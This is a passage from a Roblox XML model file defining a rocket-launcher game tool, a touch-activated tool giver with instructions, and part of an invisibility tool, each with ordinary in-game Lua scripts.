						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Multi Rocket</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX4407">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-158.501877</X>
							<Y>10.8965387</Y>
							<Z>140.499786</Z>
							<R00>-0.999997556</R00>
							<R01>0.000129476728</R01>
							<R02>-1.04847277e-005</R02>
							<R10>0.000129477135</R10>
							<R11>1</R11>
							<R12>-4.31583539e-005</R12>
							<R20>1.0479147e-005</R20>
							<R21>-4.31595981e-005</R21>
							<R22>-0.999997556</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Front Shield</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>7.20000029</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4408">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-160.502014</X>
							<Y>10.8950586</Y>
							<Z>139.499939</Z>
							<R00>2.3240494e-009</R00>
							<R01>0.00015259003</R01>
							<R02>-0.999997854</R02>
							<R10>3.05180438e-005</R10>
							<R11>1</R11>
							<R12>0.00015259003</R12>
							<R20>0.999997854</R20>
							<R21>-3.05179747e-005</R21>
							<R22>-2.32633512e-009</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">DO NOT RENAME HEAD</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>7.20000029</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4409">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>-158.5</X>
							<Y>11.1999998</Y>
							<Z>141.5</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Put your tool into this brick</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
					<Item class="Tool" referent="RBX4410">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Enabled">true</bool>
							<CoordinateFrame name="Grip">
								<X>-0.75</X>
								<Y>-0.5</Y>
								<Z>0.100000001</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<string name="Name">Fast-Multi Rocket</string>
							<Content name="TextureId"><null></null></Content>
						</Properties>
						<Item class="Sound" referent="RBX4411">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">Explosion</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>rbxasset://sounds/collide.wav</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX4412">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">true</bool>
								<string name="Name">Swoosh</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>http://www.roblox.com/asset/?id=12222095</url></Content>
								<float name="Volume">0.699999988</float>
							</Properties>
						</Item>
						<Item class="Part" referent="RBX4413">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">199</int>
								<CoordinateFrame name="CFrame">
									<X>-158.383759</X>
									<Y>8.88777447</Y>
									<Z>138.503082</Z>
									<R00>-5.93828663e-005</R00>
									<R01>-0.999996901</R01>
									<R02>-0.000223434603</R02>
									<R10>-0.99999994</R10>
									<R11>5.93912118e-005</R11>
									<R12>5.46238152e-005</R12>
									<R20>-5.46104275e-005</R20>
									<R21>0.000223437833</R21>
									<R22>-0.99999696</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Handle</string>
								<float name="Reflectance">0.400000006</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.00175387529</X>
									<Y>0.00296675204</Y>
									<Z>-0.00215975684</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>0.00111476029</X>
									<Y>-0.0176261906</Y>
									<Z>0.00374201406</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>4</X>
									<Y>0.800000012</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX4414">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><url>http://www.roblox.com/asset/?id=1030777</url></Content>
									<token name="MeshType">5</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>0.75</X>
										<Y>0.75</Y>
										<Z>0.75</Z>
									</Vector3>
									<Content name="TextureId"><url>http://www.roblox.com/asset/?id=1030776</url></Content>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX4415">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294940416</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX4416">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Server Launcher</string>
								<ProtectedString name="Source">local Rocket = Instance.new(&quot;Part&quot;)
local Tool = script.Parent

Rocket.Locked = true
Rocket.BackSurface = 3
Rocket.BottomSurface = 3
Rocket.FrontSurface = 3
Rocket.LeftSurface = 3
Rocket.RightSurface = 3
Rocket.TopSurface = 3
Rocket.Size = Vector3.new(1,1,4)
Rocket.BrickColor = BrickColor.new(6)

Tool.RocketScript:clone().Parent = Rocket
Tool.Explosion:clone().Parent = Rocket
Tool.Swoosh:clone().Parent = Rocket


function fire(vTarget, offset)

	local vCharacter = Tool.Parent;
	
	local vHandle = Tool:findFirstChild(&quot;Handle&quot;)
	if vHandle == nil then
		print(&quot;Handle not found&quot;)
		return 
	end

	local dir = vTarget - vHandle.Position
	dir = computeDirection(dir)
	local missileCF = CFrame.new(vHandle.Position,  vHandle.Position + dir)
	local missile = Rocket:clone()
	local color = math.random(1,32)
	missile.BrickColor = BrickColor.new(color)
	print(color)
	missile.CFrame = missileCF * offset

	local creator_tag = Instance.new(&quot;ObjectValue&quot;)

	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	if vPlayer == nil then
		print(&quot;Player not found&quot;)
	else
		if (vPlayer.Neutral == false) then -- nice touch
			missile.BrickColor = vPlayer.TeamColor
		end
	end

	creator_tag.Value =vPlayer
	creator_tag.Name = &quot;creator&quot;
	creator_tag.Parent = missile
	
	missile.RocketScript.Disabled = false

	missile.Parent = game.Workspace
end

function computeDirection(vec)
	local lenSquared = vec.magnitude * vec.magnitude
	local invSqrt = 1 / math.sqrt(lenSquared)
	return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end

Tool.Enabled = true
function onActivated()
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end

	local targetPos = humanoid.TargetPoint

	for i=-15,15,5 do
		fire(targetPos, CFrame.new(i,0,-9))
	end

	wait(0)
	Tool.Enabled = true
end


script.Parent.Activated:connect(onActivated)

</ProtectedString>
							</Properties>
						</Item>
						<Item class="LocalScript" referent="RBX4417">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Local Gui</string>
								<ProtectedString name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = false
	mouse.Icon = &quot;rbxasset://textures\\GunWaitCursor.png&quot;

	wait(12)
	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	enabled = true

end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end


Tool.Equipped:connect(onEquippedLocal)</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4418">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">RocketScript</string>
								<ProtectedString name="Source">r = game:service(&quot;RunService&quot;)

shaft = script.Parent
position = shaft.Position

script.Parent.Explosion.PlayOnRemove = true -- play explosion sound when projectile removed from game

function fly()
	direction = shaft.CFrame.lookVector 
	position = position + direction * 3
	error = position - shaft.Position
	shaft.Velocity = 7*error
end

function blow()
	swoosh:stop()
	explosion = Instance.new(&quot;Explosion&quot;)
	explosion.Position = shaft.Position


	-- find instigator tag
	local creator = script.Parent:findFirstChild(&quot;creator&quot;)
	if creator ~= nil then
		explosion.Hit:connect(function(part, distance)  onPlayerBlownUp(part, distance, creator) end)
	end

	explosion.Parent = game.Workspace
	connection:disconnect()
	wait(.1)
	shaft:remove()
end

function onPlayerBlownUp(part, distance, creator)
	
	if part.Name == &quot;Head&quot; then
	
		local humanoid = part.Parent.Humanoid
		tagHumanoid(humanoid, creator)
	end
end

function tagHumanoid(humanoid, creator)
	-- tag does not need to expire iff all explosions lethal
	
	if creator ~= nil then
		local new_tag = creator:clone()
		new_tag.Parent = humanoid
		
	end
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild(&quot;creator&quot;)
		if tag ~= nil then
		
			tag.Parent = nil
		end
	end
end

t, s = r.Stepped:wait()

swoosh = script.Parent.Swoosh
swoosh:play()

d = t + 10.0 - s
connection = shaft.Touched:connect(blow)

while t &lt; d do
	fly()
	t = r.Stepped:wait()
end

-- at max range
script.Parent.Explosion.PlayOnRemove = false
swoosh:stop()
shaft:remove()
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4419">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Put this script into your tool</string>
								<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4420">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-158.501923</X>
							<Y>10.896409</Y>
							<Z>137.499847</Z>
							<R00>-0.999997556</R00>
							<R01>0.000129476728</R01>
							<R02>-1.04847277e-005</R02>
							<R10>0.000129477135</R10>
							<R11>1</R11>
							<R12>-4.31583539e-005</R12>
							<R20>1.0479147e-005</R20>
							<R21>-4.31595981e-005</R21>
							<R22>-0.999997556</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Back Shield</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>7.20000029</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Fire" referent="RBX4421">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294940416</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4422">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-156.502029</X>
							<Y>10.8944483</Y>
							<Z>139.499939</Z>
							<R00>2.3240494e-009</R00>
							<R01>0.00015259003</R01>
							<R02>-0.999997854</R02>
							<R10>3.05180438e-005</R10>
							<R11>1</R11>
							<R12>0.00015259003</R12>
							<R20>0.999997854</R20>
							<R21>-3.05179747e-005</R21>
							<R22>-2.32633512e-009</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Shield</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>7.20000029</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4423">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-158.501358</X>
							<Y>15.0960321</Y>
							<Z>138.999664</Z>
							<R00>-0.999997556</R00>
							<R01>0.000129476728</R01>
							<R02>-1.04847277e-005</R02>
							<R10>0.000129477135</R10>
							<R11>1</R11>
							<R12>-4.31583539e-005</R12>
							<R20>1.0479147e-005</R20>
							<R21>-4.31595981e-005</R21>
							<R22>-0.999997556</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Head</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Humanoid" referent="RBX4424">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="Health">0</float>
						<float name="MaxHealth">0</float>
						<string name="Name">DO NOT TOUCH</string>
						<float name="WalkSpeed">16</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4425">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Put this script into your tool</string>
						<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
					</Properties>
				</Item>
				<Item class="Model" referent="RBX4426">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4427">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Invisible tool giver</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Script" referent="RBX4428">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">READ ME FOR INSTRUCTIONS</string>
						<ProtectedString name="Source">--DONT PUT THIS IN ANYTHING IT&apos;S JUST INSTRUCTIONS.
--First Place the &quot;PUT THIS IN THE WEAPON&quot; script in your Weapon or Tool.
--Then place your Weapon or Tool in the &quot;PUT THE WEAPON IN THIS BRICK&quot; brick.

--IMPORTANT (OPTINAL)
--Before doing anything you should put the Weapon or Tool in the giver where you want it.</ProtectedString>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4429">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1</int>
						<CoordinateFrame name="CFrame">
							<X>-26.5</X>
							<Y>9.5</Y>
							<Z>96.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">PUT THE WEAPON IN THIS BRICK</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
					<Item class="HopperBin" referent="RBX4430">
						<Properties>
							<bool name="Active">false</bool>
							<bool name="Archivable">true</bool>
							<token name="BinType">0</token>
							<string name="Name">Invisible tool</string>
							<Content name="TextureId"><null></null></Content>
						</Properties>
						<Item class="Script" referent="RBX4431">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">print(&quot;Invisibility hopper script loaded&quot;)

enabled = true
invisibilityTime = 10 -- Time the person will be invisible
reloadTime = 4 -- Additional time to reload

function setCursor(mouse)
	if enabled then
		mouse.Icon = &quot;rbxasset://textures\\ArrowCursor.png&quot;
	else
		mouse.Icon = &quot;rbxasset://textures\\ArrowFarCursor.png&quot;
	end
end

function onButton1Down(mouse)
	if enabled then
		enabled = false
		setCursor(mouse) -- Not ready anymore
		playerScript = script.Parent.Fade:clone() -- Copy the fading script
		playerScript.Parent = game.Players.LocalPlayer.Character -- Place it in the player
		scriptTimeOut = Instance.new(&quot;NumberValue&quot;) -- Give it a time before becoming visible again
		scriptTimeOut.Name = &quot;InvisibilityTime&quot;
		scriptTimeOut.Value = invisibilityTime
		scriptTimeOut.Parent = playerScript

		wait(reloadTime + invisibilityTime) -- Wait for a proper reload time
		enabled = true -- Ready again
	end
	setCursor(mouse) -- Set apropriate cursor
end

